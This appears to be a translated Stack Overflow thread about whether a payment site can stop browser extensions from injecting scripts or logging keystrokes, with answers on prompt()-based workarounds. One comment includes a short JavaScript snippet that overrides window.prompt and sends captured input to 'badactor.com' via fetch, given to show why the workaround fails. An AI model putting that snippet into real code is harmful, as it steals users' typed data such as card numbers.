防止浏览器扩展注入Javascript代码

Tib*_*tan 29 javascript browser firefox internet-explorer google-chrome

浏览器允许扩展注入代码,操纵DOM等.

多年来,我注意到我正在观看的网站(app)上有很多和各种未被捕获的错误(使用window.onerror),这些错误是由Firefox,Chrome和Internet Explorer(所有版本)上的未知浏览器扩展生成的.

这些错误似乎并没有打断任何事情.现在我想增加这个网站的安全性,因为它将开始处理信用卡.我亲眼目睹了恶意软件/间谍软件感染了浏览器,修改了浏览器扩展(无辜的浏览器扩展,修改为报告给攻击者/脚本小子)作为键盘记录程序(使用琐碎的onkey*事件处理程序,或只是input.value检查).

是否有方法(元标记等)通知浏览器禁止代码注入或读取DOM,标准或非标准?该网页已经是SSL,但这似乎并不重要(如提示浏览器激活更严格的扩展安全性).

.

可能的解决方法(一种拉伸与一种简单的元标记)由他人或我的头脑建议:

  • 用于输入数字的虚拟键盘+非文本输入(也称为数字的img)
  • 使用Flash的远程桌面(有人建议使用HTML5,但这并不能解决浏览器扩展监听键盘事件;只有Flash,Java等可以).
  • 非常复杂的基于Javascript的保护(删除非白名单的事件监听器,内存中输入值以及受实际星号字符保护的输入等)(不可行,除非它已经存在)
  • 具有防病毒角色的浏览器扩展或可能以某种方式保护特定网页(这是不可行的,如果不产生大量问题,甚至可能无法实现)

修改:Google Chrome会在隐身模式下停用扩展程序,但是,没有标准方法可以检测或自动启用隐身模式,因此必须显示永久警告.

Vla*_*mos 14

能够禁用某人的浏览器扩展通常意味着接管浏览器.我不认为这是可能的.这将是一个巨大的安全风险.您的目的可能是合法的,但请考虑网站管理员的方案,以编程方式禁用用户的addblockers,以便让他们查看广告.

最后,用户负责确保他们在进行网上银行交易时拥有干净的操作系统.用户遭到入侵并不是网站的错

更新 我们应该把事情搞砸.就像是:

<meta name="disable-extension-feature" content="read-dom" />
Run Code Online (Sandbox Code Playgroud)

要么

<script type="text/javascript">
    Browser.MakeExtension.MallwareLogger.to.not.read.that.user.types(true);
</script>
Run Code Online (Sandbox Code Playgroud)

不存在,我相信不会在不久的将来实施.使用任何必要的手段来最好地使用当前最新的现有技术,并尽可能安全地设计您的应用程序.不要浪费你的精力试图覆盖那些首先不能通过互联网付款的用户


Rya*_*ale 5

这不是一个完整的解决方案,但您可以使用javascript提示绕过密钥日志记录.我写了一个小测试用例(结果有点失控).此测试用例执行以下操作:

  • 使用提示符()来询问焦点上的信用卡号.
  • 当用户检查"阻止其他对话框"或用户以某种方式输入CC字段时,提供故障保护
  • 定期检查以确保事件处理程序未被删除或欺骗,并在必要时重新绑定/警告用户.

http://jsfiddle.net/ryanwheale/wQTtf/

在IE7 +,Chrome,FF 3.6 +,Android 2.3.5,iPad 2(iOS 6.0)中测试

  • 由于浏览器扩展可以在您的代码之前执行代码,因此只需用捕获数据的函数覆盖窗口的本机提示函数就可以轻松解决这一问题。```window._prompt=window.prompt;window.prompt=function(q){let a=window._prompt(q);fetch('http://badactor.com?input=' + a);返回一个;}``` (2认同)